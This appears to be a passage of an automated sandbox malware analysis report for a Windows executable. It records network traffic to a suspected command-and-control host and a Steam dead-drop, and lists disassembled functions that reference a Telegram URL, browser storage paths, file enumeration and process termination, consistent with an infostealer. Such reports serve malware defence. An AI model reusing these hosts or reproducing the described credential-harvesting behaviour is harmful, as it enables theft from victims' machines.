2025-01-01 08:12:05 UTC	16384	IN	Data Raw: 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a Data Ascii: eamcommunity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">
2025-01-01 08:12:05 UTC	3768	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 Data Ascii: </a></div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actu
2025-01-01 08:12:05 UTC	506	IN	Data Raw: 3e 53 74 65 61 6d 20 53 75 62 73 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 Data Ascii: >Steam Subscriber Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.96.3	443	4396	C:\Users\user\Desktop\OXoeX1Ii3x.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 08:12:06 UTC	210	OUT	GET /ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d HTTP/1.1 User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603 Host: llal.xyz Cache-Control: no-cache
2025-01-01 08:12:06 UTC	946	IN	HTTP/1.1 521 Date: Wed, 01 Jan 2025 08:12:06 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5L%2F8EUocKkYvuuHYJI1naz0ocR%2F8KyZzOBWB6DWzypfu6hhxMbKw28dJU1olwWMVT%2BWJq%2FnGSM7NgOEtsxrrSUT14GB6O6Tavp7EwmoWVJXi3TaE9YmPkOv4eA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8fb10adb4b8a41c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1650&min_rtt=1641&rtt_var=634&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2814&recv_bytes=848&delivery_rate=1699650&cwnd=205&unsent_bytes=0&cid=440ab95d55b28f4b&ts=226&x=0"
2025-01-01 08:12:06 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521

Target ID:	0
Start time:	03:12:03
Start date:	01/01/2025
Path:	C:\Users\user\Desktop\OXoeX1Ii3x.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\OXoeX1Ii3x.exe"
Imagebase:	0x200000
File size:	378'368 bytes
MD5 hash:	3E9881B9C6FF4994FC9D684456694E77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:12:07
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 1932
Imagebase:	0x70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.7%
Total number of Nodes:	727
Total number of Limit Nodes:	4

Executed Functions

Function 002173CD Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 167
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0021C2B7: __EH_prolog3_GS.LIBCMT ref: 0021C2C1

Part of subcall function 0021C0F0: __EH_prolog3_catch_GS.LIBCMT ref: 0021C0F7

InternetOpenUrlA.WININET ref: 0021753F
InternetReadFile.WININET ref: 00217590

Strings

8045878863314484420, xrefs: 00217474
Kernel32.dll, xrefs: 0021741E
9351356959942806932, xrefs: 0021749D
789593363246702628, xrefs: 0021743B
Wininet.dll, xrefs: 00217458

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: Internet$FileH_prolog3_H_prolog3_catch_OpenRead
String ID: 789593363246702628$8045878863314484420$9351356959942806932$Kernel32.dll$Wininet.dll
API String ID: 3547353422-2454429382
Opcode ID: 56ab3980a31ed56c4b3b657d58babb0ac0e0830e3759bf065024349e8bfa1da4
Instruction ID: bdcf2a143dd4d5731bbda098fcc6345f2fcc9e2a985cd139a837c3fb14109fe5
Opcode Fuzzy Hash: 56ab3980a31ed56c4b3b657d58babb0ac0e0830e3759bf065024349e8bfa1da4
Instruction Fuzzy Hash: 58516F74A10268EFDB24DF24CD49BDDBBF9FB09310F0040A9E949A7281D7B45E948FA1

Function 00217BE1 Relevance: 30.3, APIs: 3, Strings: 14, Instructions: 563
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00217BEB

Part of subcall function 00217AAA: __EH_prolog3_GS.LIBCMT ref: 00217AB1
Part of subcall function 00217AAA: __Xtime_get_ticks.LIBCPMT ref: 00217AC3
Part of subcall function 00217AAA: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00217AD0

Part of subcall function 002061C0: __EH_prolog3_GS.LIBCMT ref: 002061C7
Part of subcall function 002061C0: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000,00000000,2226158375018974002), ref: 0020629D

FindWindowA.USER32(Hello,World), ref: 00217FE8

Part of subcall function 0020B3E8: __EH_prolog3.LIBCMT ref: 0020B3EF

Part of subcall function 0020A568: __EH_prolog3_GS.LIBCMT ref: 0020A56F

Part of subcall function 00215726: __EH_prolog3.LIBCMT ref: 0021572D

Part of subcall function 00215040: __EH_prolog3_GS.LIBCMT ref: 0021504A
Part of subcall function 00215040: GetNativeSystemInfo.KERNEL32(?,x86,00000000), ref: 00215155

Part of subcall function 0021AD7E: __EH_prolog3.LIBCMT ref: 0021AD85

ExitProcess.KERNEL32 ref: 00218407

Part of subcall function 00209FC4: __EH_prolog3.LIBCMT ref: 00209FCB

Part of subcall function 00209A90: __EH_prolog3_GS.LIBCMT ref: 00209A9A

Strings

exG, xrefs: 00218064, 002181DE
/ujs/, xrefs: 00217E98
Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603, xrefs: 00217C19
Hello, xrefs: 00217FE3
brCH, xrefs: 002180B4, 002181BA
brGk, xrefs: 00218148
https://, xrefs: 00217CCD, 00217DEF
str, xrefs: 00217FEE, 00217FF6, 00217FFC, 00218069, 00218071, 002180C9, 00218102, 0021810B, 00218116, 0021811E, 00218126, 00218269, 0021826E, 002182BF, 002182F8, 00218301
1735725670, xrefs: 00217BFF
https://t.me/asdfghjrrewqqqqtfg, xrefs: 00217D29
ostr, xrefs: 002180AF, 00218193, 002182AA, 0021833E
., xrefs: 002183F8
World, xrefs: 00217FDE
fnc, xrefs: 00218037, 0021803E, 002180AE, 00218169, 00218170, 002182A9, 0021831B

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_$H_prolog3$ExitFindInfoInternetNativeOpenProcessSystemUnothrow_t@std@@@WindowXtime_get_ticks__ehfuncinfo$??2@
String ID: .$/ujs/$1735725670$Hello$Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603$World$brCH$brGk$exG$fnc$https://$https://t.me/asdfghjrrewqqqqtfg$ostr$str
API String ID: 1170277527-2895834990
Opcode ID: 70df240588e871c9945fb55ec82d55d1cfb1b5e32ca7a01ce4e4efbda96df53e
Instruction ID: 4bfb61e71c6cdab5af2725675c3c39da962b49271db7262ea588149b63ef8a36
Opcode Fuzzy Hash: 70df240588e871c9945fb55ec82d55d1cfb1b5e32ca7a01ce4e4efbda96df53e
Instruction Fuzzy Hash: 22328E31D21398AADB15EBA8C996BDDBBB86F25300F5440D9E405631C3DB741F68CF62

Function 002061C0 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 75
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 002061C7

Part of subcall function 0021C2B7: __EH_prolog3_GS.LIBCMT ref: 0021C2C1

Part of subcall function 0021C0F0: __EH_prolog3_catch_GS.LIBCMT ref: 0021C0F7

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000,00000000,2226158375018974002), ref: 0020629D

Strings

2226158375018974002, xrefs: 00206268
Kernel32.dll, xrefs: 002061DE
789593363246702628, xrefs: 002061F2
13697246453241158521, xrefs: 00206224
Wininet.dll, xrefs: 0020620B
3933506600908304605, xrefs: 00206246

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_$H_prolog3_catch_InternetOpen
String ID: 13697246453241158521$2226158375018974002$3933506600908304605$789593363246702628$Kernel32.dll$Wininet.dll
API String ID: 1967328160-2221855235
Opcode ID: c54c5dcdf34229d6b1c5b812e5e370d8b50a7f1b50f301c6d61dfdc98e839add
Instruction ID: 0f14e6a3a3ece7d2cc2fbe16d555caf7e0c78b63cc80c5beda398131247f61ff
Opcode Fuzzy Hash: c54c5dcdf34229d6b1c5b812e5e370d8b50a7f1b50f301c6d61dfdc98e839add
Instruction Fuzzy Hash: AC219170E61388FFCB40FFBC8A4669D7EE5AF56300F544099F404A7282C6B40E648BE2

Function 0020C1B8 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 224
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 0020C1C2

Part of subcall function 0020C4D0: __EH_prolog3.LIBCMT ref: 0020C4D7

Part of subcall function 0020CAF1: __EH_prolog3.LIBCMT ref: 0020CAF8
Part of subcall function 0020CAF1: _Func_class.LIBCONCRT ref: 0020CB97

Part of subcall function 0020E5D5: __EH_prolog3_GS.LIBCMT ref: 0020E5DF

Part of subcall function 0020CBA6: __EH_prolog3.LIBCMT ref: 0020CBAD

Part of subcall function 0020EFDD: __EH_prolog3_GS.LIBCMT ref: 0020EFE7

Part of subcall function 0020CCE6: __EH_prolog3_GS.LIBCMT ref: 0020CCED

Part of subcall function 00205F62: ___std_exception_destroy.LIBVCRUNTIME ref: 00205FA5

Part of subcall function 0020B07F: __EH_prolog3_GS.LIBCMT ref: 0020B086

Strings

value, xrefs: 0020C248, 0020C3B8

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_$H_prolog3$Func_class___std_exception_destroy
String ID: value
API String ID: 367360030-494360628
Opcode ID: fd1578445fb30e1f79a9bf21708f57eeed489eeef3ae80840d112bc89acbefa5
Instruction ID: b684c2133d69093c53255f6b23b5399ef420bc9aab40ab0f6967d6d6523a22ef
Opcode Fuzzy Hash: fd1578445fb30e1f79a9bf21708f57eeed489eeef3ae80840d112bc89acbefa5
Instruction Fuzzy Hash: 4791ABB0911348DEDB14EB64C945BEEBBB4AF15300F5441E9E149A72C3EB701B58CF62

Function 0020B558 Relevance: 3.1, APIs: 2, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 0020B562

Part of subcall function 0020B07F: __EH_prolog3_GS.LIBCMT ref: 0020B086

Part of subcall function 0020C4D0: __EH_prolog3.LIBCMT ref: 0020C4D7

Part of subcall function 0020E0D4: __EH_prolog3.LIBCMT ref: 0020E0DB
Part of subcall function 0020E0D4: _Func_class.LIBCONCRT ref: 0020E12D
Part of subcall function 0020E0D4: _Func_class.LIBCONCRT ref: 0020E17F
Part of subcall function 0020E0D4: _Func_class.LIBCONCRT ref: 0020E192

Part of subcall function 0020C1B8: __EH_prolog3_GS.LIBCMT ref: 0020C1C2

Part of subcall function 0020C0C7: _Func_class.LIBCONCRT ref: 0020C10A

_Func_class.LIBCONCRT ref: 0020B607

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: Func_class$H_prolog3$H_prolog3_
String ID:
API String ID: 3328072954-0
Opcode ID: afa8c564a665f066ea7d2d0cfb78c5ba5fee247a00a1ba8b3c3234793c9637d4
Instruction ID: 0bfc70413a2157ec8d2bf9c1355bbac5ace8558930db9878a5e2ffe2f48cdfc5
Opcode Fuzzy Hash: afa8c564a665f066ea7d2d0cfb78c5ba5fee247a00a1ba8b3c3234793c9637d4
Instruction Fuzzy Hash: 87214970C16289EADF05EBA8C9116DDBFB0AF15304F548099E84877392C6755B44CFA2

Function 002302FE Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00237B16,?,00000000,?,?,00237DB7,?,00000007,?,?,0023836C,?,?), ref: 00230314
GetLastError.KERNEL32(?,?,00237B16,?,00000000,?,?,00237DB7,?,00000007,?,?,0023836C,?,?), ref: 0023031F

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: c0806a505f27b12cbcaacfab546444003b1c1adfb903e7d25b8228b6ef92ed3a
Instruction ID: 61b76dff7fcaf842f716cfe2aeabdcb22b3d3ba1e3d561995c819d02b9aea74c
Opcode Fuzzy Hash: c0806a505f27b12cbcaacfab546444003b1c1adfb903e7d25b8228b6ef92ed3a
Instruction Fuzzy Hash: 85E08C72950214ABDB312FA0BC5DB9A3BA8BB41791F1540A4F60886160DB708C60CBE4

Function 00217870 Relevance: 1.7, APIs: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch.LIBCMT ref: 00217877

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: b036f6746d0e1c82626c4f114b3df0fa5c1c19bc7d6e800a26c49e281cee36b2
Instruction ID: 18bbf90c960dbe99801b253601e74b949c8f23723a655d1cd7950913fb7dc368
Opcode Fuzzy Hash: b036f6746d0e1c82626c4f114b3df0fa5c1c19bc7d6e800a26c49e281cee36b2
Instruction Fuzzy Hash: A6513A71E10219AFCF14DFA8D9859EEBBB5BF88310F104229E914B3351D6319AA0CFA0

Function 002202FE Relevance: 1.5, APIs: 1, Instructions: 43
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL(E06D7363,00000001,00000003,00205BD8,?,?,?,?,00205BD8,?,00257E08), ref: 0022035E

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: cd118faf9d22352e6473317f993e11ee67bc7782754baf20cef1f29cc872c9ce
Instruction ID: 3ea83babc91a43f18904e47db158dc935906bf39365502847f34b1fad2180b51
Opcode Fuzzy Hash: cd118faf9d22352e6473317f993e11ee67bc7782754baf20cef1f29cc872c9ce
Instruction Fuzzy Hash: 1F01A276900219AFCB01DF9CE884B9EBBB9FF45700F154099E919AB392D770ED01CB90

Function 0023188C Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,002014D8,00000000,?), ref: 002318BE

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 00f446159827607dcc1aa0fad53667bc592d4143894aac9c06aa2531f2961f1e
Instruction ID: 2207bad51cea38cb51fbf3fde272c0dae2f3a1bb5907ea6f75f0c10c62c8e43b
Opcode Fuzzy Hash: 00f446159827607dcc1aa0fad53667bc592d4143894aac9c06aa2531f2961f1e
Instruction Fuzzy Hash: 71E0E561536222A7FB212A65AC05B9A7788AF023A1F110120AD05961D0DBA4CC3045ED

Non-executed Functions

Function 00207A82 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 222fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00207A8C

Part of subcall function 0020B4BA: __EH_prolog3.LIBCMT ref: 0020B4C1

FindFirstFileA.KERNEL32(?,?,0000035C,00208101,?,\storage\default\,?), ref: 00207AE0
PathMatchSpecA.SHLWAPI(?,00000000,?), ref: 00207B91
FindFirstFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 00207C9B
FindNextFileA.KERNEL32(00000000,00000010,?,?,?,?,?,?), ref: 00207D09
FindClose.KERNEL32(00000000,?,?,?,?,?,?), ref: 00207D14
FindNextFileA.KERNEL32(00000000,00000010), ref: 00207D46
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?), ref: 00207D5C
FindClose.KERNEL32(?,?,?,?,?,?,?), ref: 00207D68
FindClose.KERNEL32(?), ref: 00207DB7

Strings

\idb\, xrefs: 00207C43

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: Find$CloseFile$FirstNext$H_prolog3H_prolog3_MatchPathSpec
String ID: \idb\
API String ID: 757186195-120003160
Opcode ID: ab6fc9e8942fd13406a6fa3455190a90548b267bb306a9b278d6cc575b1aac18
Instruction ID: 0662d83d86bb3e1202480f21113ca8dc821287ed27015d094ddfb2758d56373b
Opcode Fuzzy Hash: ab6fc9e8942fd13406a6fa3455190a90548b267bb306a9b278d6cc575b1aac18
Instruction Fuzzy Hash: 6BA1543082035ACBDB25EFA0C998BEDBBB4AF15304F5441A9E419A31D2DB706E99CF51

Function 0021AFE8 Relevance: 13.6, APIs: 9, Instructions: 83sleepprocessCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0021AFF2
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000268,00209C15,?,?,0024F604), ref: 0021B004
Process32FirstW.KERNEL32 ref: 0021B022
OpenProcess.KERNEL32(00000001,00000000,?,?,?), ref: 0021B0BE
TerminateProcess.KERNEL32(00000000,00000000), ref: 0021B0CD
CloseHandle.KERNEL32(00000000), ref: 0021B0D4
Process32NextW.KERNEL32(?,0000022C), ref: 0021B0E7
CloseHandle.KERNEL32(?), ref: 0021B101
Sleep.KERNEL32(000003E8), ref: 0021B10C

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstH_prolog3_NextOpenSleepSnapshotTerminateToolhelp32
String ID:
API String ID: 271363041-0
Opcode ID: 8200f704f4b117c7a14a8dd6b7e763c6075fa4f129d2980b3cb9b8b9042177fa
Instruction ID: cbb0a37f8dc10ae0e5e602cc21bb92e5db3a0446d2b1594f260ff63e722a3bda
Opcode Fuzzy Hash: 8200f704f4b117c7a14a8dd6b7e763c6075fa4f129d2980b3cb9b8b9042177fa
Instruction Fuzzy Hash: 6A31787191122ADBCB31AF20DD4DBEAB7B4BB29304F104194E519A6190EB715ED4CF61

Function 002187FB Relevance: 13.0, APIs: 4, Strings: 3, Instructions: 723memorysleepCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00218805

Part of subcall function 0020B3E8: __EH_prolog3.LIBCMT ref: 0020B3EF

Part of subcall function 0020E19F: __EH_prolog3.LIBCMT ref: 0020E1A6

Part of subcall function 0020A2AA: __EH_prolog3.LIBCMT ref: 0020A2B1

Part of subcall function 00219206: __EH_prolog3_GS.LIBCMT ref: 00219210

Part of subcall function 00219C00: __EH_prolog3_catch.LIBCMT ref: 00219C07

